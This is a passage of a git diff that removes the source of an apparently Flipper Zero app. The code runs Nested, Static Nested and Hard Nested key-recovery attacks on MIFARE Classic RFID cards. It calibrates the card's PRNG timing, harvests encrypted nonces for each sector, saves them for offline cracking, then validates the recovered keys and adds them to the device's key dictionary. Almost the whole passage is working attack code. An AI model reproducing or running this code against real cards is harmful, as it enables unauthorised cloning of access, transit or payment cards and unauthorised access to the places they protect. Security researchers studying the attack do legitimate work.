nonces->sector_count = sector_count; - nonces->tries = tries_count; - - return *key_block; -} - -void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) { - while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) { - FuriHalNfcTxRxContext tx_rx = {}; - NfcDevice* dev = mifare_nested_worker->context->nfc_dev; - MfClassicData* mf_data = &dev->dev_data.mf_classic_data; - FuriHalNfcDevData data = {}; - MifareNestedNonceType type = MifareNestedNonceNoTag; - nested_get_data(&data); - - if(mifare_nested_worker_read_key_cache(&data, mf_data)) { - for(uint8_t sector = 0; sector < 40; sector++) { - if(FURI_BIT(mf_data->key_a_mask, sector) || - FURI_BIT(mf_data->key_b_mask, sector)) { - type = nested_check_nonce_type( - &tx_rx, mifare_nested_worker_get_block_by_sector(sector)); - break; - } - } - - if(type == MifareNestedNonceNoTag) { - type = nested_check_nonce_type(&tx_rx, 0); - } - } else { - type = nested_check_nonce_type(&tx_rx, 0); - } - - if(type == MifareNestedNonceStatic) { - mifare_nested_worker->context->collecting_type = - MifareNestedWorkerStateCollectingStatic; - - mifare_nested_worker->callback( - MifareNestedWorkerEventCollecting, mifare_nested_worker->context); - - break; - } else if(type == MifareNestedNonceWeak) { - mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting; - - mifare_nested_worker->callback( - MifareNestedWorkerEventCollecting, mifare_nested_worker->context); - - break; - } else if(type == MifareNestedNonceHard) { - mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard; - - mifare_nested_worker->callback( - MifareNestedWorkerEventCollecting, mifare_nested_worker->context); - - break; - } - - furi_delay_ms(250); - } - - nfc_deactivate(); -} - -void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) { - NonceList_t nonces; - Storage* storage = furi_record_open(RECORD_STORAGE); - NfcDevice* dev = mifare_nested_worker->context->nfc_dev; - MfClassicData* mf_data = &dev->dev_data.mf_classic_data; - FuriString* folder_path = furi_string_alloc(); - FuriHalNfcDevData data = {}; - nested_get_data(&data); - MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); - uint64_t key = 0; // Found key for attack - uint32_t found_key_type = 0; - uint32_t key_block = 0; - uint32_t sector_count = 0; - - FURI_LOG_I(TAG, "Running Static Nested attack"); - FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); - mifare_nested_worker_write_uid_string(&data, tag_info); - FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); - furi_string_free(tag_info); - - if(type == MfClassicType4k) { - sector_count = 40; - FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); - } else if(type == MfClassicType1k) { - sector_count = 16; - FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); - } else { // if(type == MfClassicTypeMini) - sector_count = 5; - FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); - } - - furi_string_set(folder_path, NESTED_FOLDER); - storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); - furi_string_free(folder_path); - - if(!mifare_nested_worker_read_key_cache(&data, mf_data) || - !mifare_nested_worker_check_initial_keys( - &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) { - mifare_nested_worker->callback( - MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); - nfc_deactivate(); - - free(mf_data); - free_nonces(&nonces, sector_count, 1); - - return; - } - - FURI_LOG_I( - TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); - - while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) { - FuriHalNfcTxRxContext tx_rx = {}; - - for(uint8_t sector = 0; sector < sector_count; sector++) { - for(uint8_t key_type = 0; key_type < 2; key_type++) { - Nonces* info = nonces.nonces[sector][key_type][0]; - - if(info->collected) { - FURI_LOG_I( - TAG, - "Skipping sector %u, block %u, key_type: %u as we already have a key", - sector, - mifare_nested_worker_get_block_by_sector(sector), - key_type); - - info->skipped = true; - - nonces.nonces[sector][key_type][0] = info; - - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - continue; - } - - if(!nested_check_block( - &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { - FURI_LOG_E( - TAG, - "Skipping sector %u, block %u, key_type: %u as we can't auth on it", - sector, - mifare_nested_worker_get_block_by_sector(sector), - key_type); - - info->invalid = true; - - nonces.nonces[sector][key_type][0] = info; - - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - - continue; - } - - while(!info->collected) { - if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) { - break; - } - - struct nonce_info_static result = nested_static_nonce_attack( - &tx_rx, - key_block, - found_key_type, - mifare_nested_worker_get_block_by_sector(sector), - key_type, - key); - if(result.full) { - FURI_LOG_I( - TAG, - "Accured nonces for sector %u, block %u, key_type: %u", - sector, - mifare_nested_worker_get_block_by_sector(sector), - key_type); - - info = nonces.nonces[sector][key_type][0]; - info->collected = true; - info->skipped = false; - - memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt)); - memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks)); - - nonces.nonces[sector][key_type][0] = info; - nonces.cuid = result.cuid; - nonces.sector_count = sector_count; - - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - break; - } else { - mifare_nested_worker->callback( - MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); - } - } - } - } - - break; - } - - SaveNoncesResult_t* result = - mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); - - free(mf_data); - - if(result->saved) { - mifare_nested_worker->callback( - MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); - } else { - mifare_nested_worker->context->save_state = result; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); - } - - nfc_deactivate(); -} - -void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) { - NonceList_t nonces; - Storage* storage = furi_record_open(RECORD_STORAGE); - NfcDevice* dev = mifare_nested_worker->context->nfc_dev; - MfClassicData* mf_data = &dev->dev_data.mf_classic_data; - FuriString* folder_path = furi_string_alloc(); - FuriHalNfcDevData data = {}; - nested_get_data(&data); - MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); - uint64_t key = 0; // Found key for attack - uint32_t found_key_type = 0; - uint32_t key_block = 0; - uint32_t sector_count = 0; - uint32_t cuid = 0; - furi_hal_nfc_activate_nfca(200, &cuid); - - FURI_LOG_I(TAG, "Running Hard Nested attack"); - FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); - mifare_nested_worker_write_uid_string(&data, tag_info); - FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); - furi_string_free(tag_info); - - if(type == MfClassicType4k) { - sector_count = 40; - FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); - } else if(type == MfClassicType1k) { - sector_count = 16; - FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); - } else { // if(type == MfClassicTypeMini) - sector_count = 5; - FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); - } - - furi_string_set(folder_path, NESTED_FOLDER); - storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); - mifare_nested_worker_get_hardnested_folder_path(&data, folder_path); - storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); - furi_string_free(folder_path); - - if(!mifare_nested_worker_read_key_cache(&data, mf_data) || - !mifare_nested_worker_check_initial_keys( - &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) { - mifare_nested_worker->callback( - MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); - nfc_deactivate(); - - free(mf_data); - free_nonces(&nonces, sector_count, 1); - - return; - } - - FURI_LOG_I( - TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); - - FuriHalNfcTxRxContext tx_rx = {}; - nonces.tries = 1; - nonces.hardnested_states = 0; - nonces.sector_count = sector_count; - - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - - mifare_nested_worker->callback( - MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context); - - for(uint8_t sector = 0; sector < sector_count && - mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard; - sector++) { - for(uint8_t key_type = 0; - key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard; - key_type++) { - Nonces* info = nonces.nonces[sector][key_type][0]; - if(info->collected) { - FURI_LOG_I( - TAG, - "Skipping sector %u, block %u, key_type: %u as we already have a key", - sector, - mifare_nested_worker_get_block_by_sector(sector), - key_type); - - info->skipped = true; - - nonces.nonces[sector][key_type][0] = info; - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - - continue; - } - - if(!nested_check_block( - &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { - FURI_LOG_E( - TAG, - "Skipping sector %u, block %u, key_type: %u as we can't auth on it", - sector, - mifare_nested_worker_get_block_by_sector(sector), - key_type); - - info->invalid = true; - - nonces.nonces[sector][key_type][0] = info; - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - - continue; - } - - while(!info->collected && - mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { - Stream* file_stream = file_stream_alloc(storage); - FuriString* hardnested_file = furi_string_alloc(); - mifare_nested_worker_get_hardnested_file_path( - &data, hardnested_file, sector, key_type); - - file_stream_open( - file_stream, - furi_string_get_cstr(hardnested_file), - FSAM_READ_WRITE, - FSOM_CREATE_ALWAYS); - - FuriString* header = furi_string_alloc_printf( - "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n", - NESTED_NONCE_FORMAT_VERSION, - NESTED_RECOVER_KEYS_GITHUB_LINK, - !key_type ? 'A' : 'B', - cuid, - sector); - - stream_write_string(file_stream, header); - furi_string_free(header); - - uint32_t first_byte_sum = 0; - uint32_t* found = malloc(sizeof(uint32_t) * 256); - for(uint32_t i = 0; i < 256; i++) { - found[i] = 0; - } - - while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { - struct nonce_info_hard result = nested_hard_nonce_attack( - &tx_rx, - key_block, - found_key_type, - mifare_nested_worker_get_block_by_sector(sector), - key_type, - key, - found, - &first_byte_sum, - file_stream); - - if(result.static_encrypted) { - file_stream_close(file_stream); - - storage_simply_remove(storage, furi_string_get_cstr(hardnested_file)); - - furi_string_free(hardnested_file); - free(found); - free(mf_data); - nfc_deactivate(); - - mifare_nested_worker->callback( - MifareNestedWorkerEventStaticEncryptedNonce, - mifare_nested_worker->context); - - return; - } - - if(result.full) { - uint32_t states = 0; - for(uint32_t i = 0; i < 256; i++) { - states += found[i]; - } - - nonces.hardnested_states = states; - - mifare_nested_worker->callback( - MifareNestedWorkerEventHardnestedStatesFound, - mifare_nested_worker->context); - - FURI_LOG_D(TAG, "Found states: %lu", states); - - if(states == 256) { - FURI_LOG_D( - TAG, "All states collected, first_byte_sum: %lu", first_byte_sum); - - bool valid = false; - for(uint8_t i = 0; i < sizeof(sums); i++) { - if(sums[i] == first_byte_sum) { - valid = true; - break; - } - } - - if(!valid) { - FURI_LOG_E(TAG, "Invalid first_byte_sum!"); - break; - } - - info->collected = true; - info->hardnested = true; - info->skipped = false; - - nonces.cuid = result.cuid; - - nonces.nonces[sector][key_type][0] = info; - - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - - break; - } - } else { - mifare_nested_worker->callback( - MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); - } - } - - free(found); - furi_string_free(hardnested_file); - file_stream_close(file_stream); - } - } - } - - SaveNoncesResult_t* result = - mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); - - free(mf_data); - - if(result->saved) { - mifare_nested_worker->callback( - MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); - } else { - mifare_nested_worker->context->save_state = result; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); - } - - nfc_deactivate(); -} - -void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) { - NonceList_t nonces; - Storage* storage = furi_record_open(RECORD_STORAGE); - NfcDevice* dev = mifare_nested_worker->context->nfc_dev; - MfClassicData* mf_data = &dev->dev_data.mf_classic_data; - FuriString* folder_path = furi_string_alloc(); - FuriHalNfcDevData data = {}; - nested_get_data(&data); - MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); - uint64_t key = 0; // Found key for attack - uint32_t found_key_type = 0; - uint32_t key_block = 0; - uint32_t sector_count = 0; - uint32_t delay = 0; - uint32_t distance = 0; - uint32_t tries_count = 1; - - FURI_LOG_I(TAG, "Running Nested attack"); - FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); - mifare_nested_worker_write_uid_string(&data, tag_info); - FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); - furi_string_free(tag_info); - - if(type == MfClassicType4k) { - sector_count = 40; - FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); - } else if(type == MfClassicType1k) { - sector_count = 16; - FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); - } else { // if(type == MfClassicTypeMini) - sector_count = 5; - FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); - } - - furi_string_set(folder_path, NESTED_FOLDER); - storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); - furi_string_free(folder_path); - - if(!mifare_nested_worker_read_key_cache(&data, mf_data) || - !mifare_nested_worker_check_initial_keys( - &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) { - mifare_nested_worker->callback( - MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); - nfc_deactivate(); - - free(mf_data); - free_nonces(&nonces, sector_count, 3); - - return; - } - - FURI_LOG_I( - TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); - - while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { - FuriHalNfcTxRxContext tx_rx = {}; - uint32_t first_distance = 0; - uint32_t second_distance = 0; - - mifare_nested_worker->callback( - MifareNestedWorkerEventCalibrating, mifare_nested_worker->context); - - distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false); - - if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { - first_distance = - nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true); - } - - if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { - second_distance = - nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true); - } - - if(first_distance == 0 && second_distance == 0) { - nfc_deactivate(); - - free(mf_data); - free_nonces(&nonces, sector_count, 3); - - mifare_nested_worker_change_state( - mifare_nested_worker, MifareNestedWorkerStateCollectingHard); - - mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); - return; - } - - if(first_distance < second_distance - 100 && second_distance > 100) { - FURI_LOG_E( - TAG, - "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu", - first_distance, - second_distance); - - struct distance_info info = - nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key); - - if(info.max_prng - info.min_prng > 150) { - FURI_LOG_W( - TAG, - "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method", - info.max_prng, - info.min_prng, - info.max_prng - info.min_prng); - - delay = 1; - } else { - FURI_LOG_I( - TAG, - "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)"); - - distance = - nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true); - - delay = 2; - tries_count = 3; - } - } - - if(distance == 0 || delay == 1) { - bool failed = false; - // Tag need delay or unpredictable PRNG - FURI_LOG_W(TAG, "Can't determine distance, trying to find timing..."); - - mifare_nested_worker->callback( - MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context); - - delay = mifare_nested_worker_predict_delay( - &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker); - - if(delay == 1) { - FURI_LOG_E(TAG, "Can't determine delay"); - - // Check that we didn't lost tag - FuriHalNfcDevData lost_tag_data = {}; - nested_get_data(&lost_tag_data); - if(lost_tag_data.uid_len == 0) { - // We lost it. - mifare_nested_worker->callback( - MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); - - while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && - lost_tag_data.cuid != data.cuid) { - furi_delay_ms(250); - nested_get_data(&lost_tag_data); - } - - mifare_nested_worker->callback( - MifareNestedWorkerEventCalibrating, mifare_nested_worker->context); - - continue; - } - - failed = true; - } - - if(delay == 2) { - FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested"); - - nfc_deactivate(); - - free(mf_data); - free_nonces(&nonces, sector_count, 3); - - mifare_nested_worker_change_state( - mifare_nested_worker, MifareNestedWorkerStateCollectingHard); - - mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); - return; - } - - if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) { - distance = nested_calibrate_distance( - &tx_rx, key_block, found_key_type, key, delay, false); - } - - if(distance == 0 && !failed) { - FURI_LOG_E(TAG, "Found delay, but can't find distance"); - - failed = true; - } - - if(failed) { - nfc_deactivate(); - - mifare_nested_worker->callback( - MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context); - - free(mf_data); - free_nonces(&nonces, sector_count, 3); - - return; - } - - tries_count = 3; - } - - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - - for(uint8_t tries = 0; tries < tries_count; tries++) { - for(uint8_t sector = 0; sector < sector_count; sector++) { - for(uint8_t key_type = 0; key_type < 2; key_type++) { - Nonces* info = nonces.nonces[sector][key_type][tries]; - if(info->collected) { - FURI_LOG_I( - TAG, - "Skipping sector %u, block %u, key_type: %u as we already have a key", - sector, - mifare_nested_worker_get_block_by_sector(sector), - key_type); - - info->skipped = true; - - nonces.nonces[sector][key_type][tries] = info; - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - - continue; - } - - if(!nested_check_block( - &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { - FURI_LOG_E( - TAG, - "Skipping sector %u, block %u, key_type: %u as we can't auth on it", - sector, - mifare_nested_worker_get_block_by_sector(sector), - key_type); - - info->skipped = true; - - nonces.nonces[sector][key_type][0] = info; - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - - continue; - } - - while(!info->collected) { - if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { - break; - } - - struct nonce_info result = nested_attack( - &tx_rx, - key_block, - found_key_type, - mifare_nested_worker_get_block_by_sector(sector), - key_type, - key, - distance, - delay); - - if(result.full) { - FURI_LOG_I( - TAG, - "Accured nonces for sector %u, block %u, key_type: %u", - sector, - mifare_nested_worker_get_block_by_sector(sector), - key_type); - - info = nonces.nonces[sector][key_type][tries]; - info->collected = true; - info->skipped = false; - - memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt)); - memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks)); - memcpy(&info->parity, result.parity, sizeof(result.parity)); - - nonces.nonces[sector][key_type][tries] = info; - nonces.cuid = result.cuid; - nonces.sector_count = sector_count; - nonces.tries = tries_count; - - mifare_nested_worker->context->nonces = &nonces; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); - break; - } else { - mifare_nested_worker->callback( - MifareNestedWorkerEventNoTagDetected, - mifare_nested_worker->context); - } - } - } - } - } - - break; - } - - SaveNoncesResult_t* result = mifare_nested_worker_write_nonces( - &data, storage, &nonces, tries_count, 3, sector_count, delay, distance); - - free(mf_data); - - if(result->saved) { - mifare_nested_worker->callback( - MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); - } else { - mifare_nested_worker->context->save_state = result; - - mifare_nested_worker->callback( - MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); - } - - nfc_deactivate(); -} - -bool* mifare_nested_worker_check_keys_exists( - Storage* storage, - char* path, - uint64_t* keys, - uint32_t key_count, - MifareNestedWorker* mifare_nested_worker) { - bool* old_keys = malloc(sizeof(bool) * key_count); - Stream* file_stream = file_stream_alloc(storage); - file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS); - FuriString* key_strings[key_count]; - - for(uint32_t i = 0; i < key_count; i++) { - old_keys[i] = false; - key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]); - } - - while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { - FuriString* next_line = furi_string_alloc(); - - if(!stream_read_line(file_stream, next_line)) { - break; - } - - for(uint32_t i = 0; i < key_count; i++) { - if(keys[i] == (uint64_t)-1) continue; - - if(furi_string_cmp(next_line, key_strings[i]) == 0) { - old_keys[i] = true; - } - } - - furi_string_free(next_line); - } - - for(uint32_t i = 0; i < key_count; i++) { - furi_string_free(key_strings[i]); - } - - file_stream_close(file_stream); - free(file_stream); - - return old_keys; -} - -void mifare_nested_worker_write_key(Storage* storage, FuriString* key) { - Stream* file_stream = file_stream_alloc(storage); - file_stream_open( - file_stream, - EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"), - FSAM_READ_WRITE, - FSOM_OPEN_APPEND); - - stream_write_string(file_stream, key); - - file_stream_close(file_stream); -} - -void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) { - KeyInfo_t* key_info = mifare_nested_worker->context->keys; - Storage* storage = furi_record_open(RECORD_STORAGE); - Stream* file_stream = file_stream_alloc(storage); - FuriString* next_line = furi_string_alloc(); - FuriString* path = furi_string_alloc(); - FuriHalNfcDevData data = {}; - nested_get_data(&data); - MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); - NestedCheckKeyResult result = NestedCheckKeyNoTag; - FuriHalNfcTxRxContext tx_rx = {}; - uint32_t key_count = 0; - uint32_t sector_key_count = 0; - uint64_t keys[80]; - bool found_keys[2][40]; - bool unique_keys[2][40]; - uint32_t sector_count = 0; - - if(type == MfClassicType4k) { - sector_count = 40; - FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); - } else if(type == MfClassicType1k) { - sector_count = 16; - FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); - } else { // if(type == MfClassicTypeMini) - sector_count = 5; - FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); - } - - uint32_t keys_count = sector_count * 2; - - for(uint8_t key = 0; key < 2; key++) { - for(uint8_t i = 0; i < sector_count; i++) { - found_keys[key][i] = false; - unique_keys[key][i] = false; - } - } - - for(uint8_t i = 0; i < keys_count; i++) { - keys[i] = -1; - } - - mifare_nested_worker_get_found_keys_file_path(&data, path); - - if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path)); - - file_stream_close(file_stream); - - mifare_nested_worker_get_nonces_file_path(&data, path); - - if(!file_stream_open( - file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { - mifare_nested_worker->callback( - MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context); - } else { - mifare_nested_worker->callback( - MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context); - } - - file_stream_close(file_stream); - - free(file_stream); - furi_string_free(path); - furi_string_free(next_line); - furi_record_close(RECORD_STORAGE); - - return; - }; - - while(true) { - if(!stream_read_line(file_stream, next_line)) { - break; - } - - if(furi_string_start_with_str(next_line, "Key")) { - uint8_t key_type = furi_string_get_char(next_line, 4) == 'B'; - uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 + - atoi((char[]){furi_string_get_char(next_line, 14)}); - - if(!unique_keys[key_type][sector]) { - unique_keys[key_type][sector] = true; - sector_key_count++; - } - } - - key_count++; - } - - stream_rewind(file_stream); - - key_info->total_keys = key_count; - key_info->sector_keys = sector_key_count; - - while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { - if(!stream_read_line(file_stream, next_line)) { - break; - } - - if(furi_string_start_with_str(next_line, "Key")) { - // Key X sector XX: XX XX XX XX XX XX - // 0000000000111111111122222222223333 - // 0123456789012345678901234567890123 - uint8_t keyChar[6]; - uint8_t count = 0; - - uint8_t key_type = furi_string_get_char(next_line, 4) == 'B'; - uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 + - atoi((char[]){furi_string_get_char(next_line, 14)}); - - for(uint8_t i = 17; i < 33; i += 3) { - hex_char_to_uint8( - furi_string_get_char(next_line, i), - furi_string_get_char(next_line, i + 1), - &keyChar[count]); - count++; - } - - uint64_t key = nfc_util_bytes2num(keyChar, 6); - - key_info->checked_keys++; - - if(found_keys[key_type][sector]) { - mifare_nested_worker->callback( - MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context); - - continue; - } - - while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { - result = nested_check_key( - &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key); - - if(result == NestedCheckKeyNoTag) { - mifare_nested_worker->callback( - MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); - - furi_delay_ms(250); - } else { - break; - } - } - - if(result == NestedCheckKeyValid) { - FURI_LOG_I( - TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key); - bool exists = false; - - for(uint8_t i = 0; i < keys_count; i++) { - if(keys[i] == key) { - exists = true; - } - } - - if(!exists) { - keys[key_info->found_keys] = key; - } - - key_info->found_keys++; - found_keys[key_type][sector] = true; - } - - mifare_nested_worker->callback( - MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context); - } - } - - furi_string_free(next_line); - file_stream_close(file_stream); - free(file_stream); - - mifare_nested_worker->callback( - MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context); - - bool* old_keys = mifare_nested_worker_check_keys_exists( - storage, - EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"), - keys, - keys_count, - mifare_nested_worker); - - for(uint8_t i = 0; i < keys_count; i++) { - if(old_keys[i]) { - keys[i] = -1; - } - } - - old_keys = mifare_nested_worker_check_keys_exists( - storage, - EXT_PATH("nfc/assets/mf_classic_dict.nfc"), - keys, - keys_count, - mifare_nested_worker); - - for(uint8_t i = 0; i < keys_count; i++) { - if(old_keys[i]) { - keys[i] = -1; - } - } - - for(uint8_t i = 0; i < keys_count; i++) { - if(keys[i] == (uint64_t)-1) continue; - - FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]); - - mifare_nested_worker_write_key(storage, key_string); - FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string)); - - key_info->added_keys++; - - furi_string_free(key_string); - } - - if(!storage_simply_remove(storage, furi_string_get_cstr(path))) { - FURI_LOG_E(TAG, "Failed to remove .keys file"); - } - - furi_record_close(RECORD_STORAGE); - furi_string_free(path); - - mifare_nested_worker->callback( - MifareNestedWorkerEventKeysFound, mifare_nested_worker->context); - - return; -} \ No newline at end of file diff --git a/applications/external/mifare_nested/mifare_nested_worker.h b/applications/external/mifare_nested/mifare_nested_worker.h deleted file mode 100644 index 99c691749..000000000 --- a/applications/external/mifare_nested/mifare_nested_worker.h +++ /dev/null @@ -1,98 +0,0 @@ -#pragma once - -#include - -#define NESTED_FOLDER EXT_PATH("nfc/.nested") - -typedef struct MifareNestedWorker MifareNestedWorker; - -typedef enum { - MifareNestedWorkerStateReady, - - MifareNestedWorkerStateCheck, - MifareNestedWorkerStateCollecting, - MifareNestedWorkerStateCollectingStatic, - MifareNestedWorkerStateCollectingHard, - MifareNestedWorkerStateValidating, - - MifareNestedWorkerStateStop, -} MifareNestedWorkerState; - -typedef enum { - MifareNestedWorkerEventReserved = 1000, - - MifareNestedWorkerEventNoTagDetected, - MifareNestedWorkerEventNoNoncesCollected, - MifareNestedWorkerEventNoncesCollected, - MifareNestedWorkerEventCollecting, - - MifareNestedWorkerEventNewNonce, - MifareNestedWorkerEventKeyChecked, - MifareNestedWorkerEventKeysFound, - MifareNestedWorkerEventNeedKey, - MifareNestedWorkerEventAttackFailed, - MifareNestedWorkerEventCalibrating, - MifareNestedWorkerEventStaticEncryptedNonce, - MifareNestedWorkerEventNeedPrediction, - MifareNestedWorkerEventProcessingKeys, - MifareNestedWorkerEventNeedKeyRecovery, - MifareNestedWorkerEventNeedCollection, - MifareNestedWorkerEventHardnestedStatesFound -} MifareNestedWorkerEvent; - -typedef bool (*MifareNestedWorkerCallback)(MifareNestedWorkerEvent event, void* context); - -MifareNestedWorker* mifare_nested_worker_alloc(); - -void mifare_nested_worker_change_state( - MifareNestedWorker* mifare_nested_worker, - MifareNestedWorkerState state); - -void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker); - -void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker); - -void mifare_nested_worker_start( - MifareNestedWorker* mifare_nested_worker, - MifareNestedWorkerState state, - NfcDeviceData* dev_data, - MifareNestedWorkerCallback callback, - void* context); - -typedef struct { - uint32_t key_type; - uint32_t block; - uint32_t target_nt[2]; - uint32_t target_ks[2]; 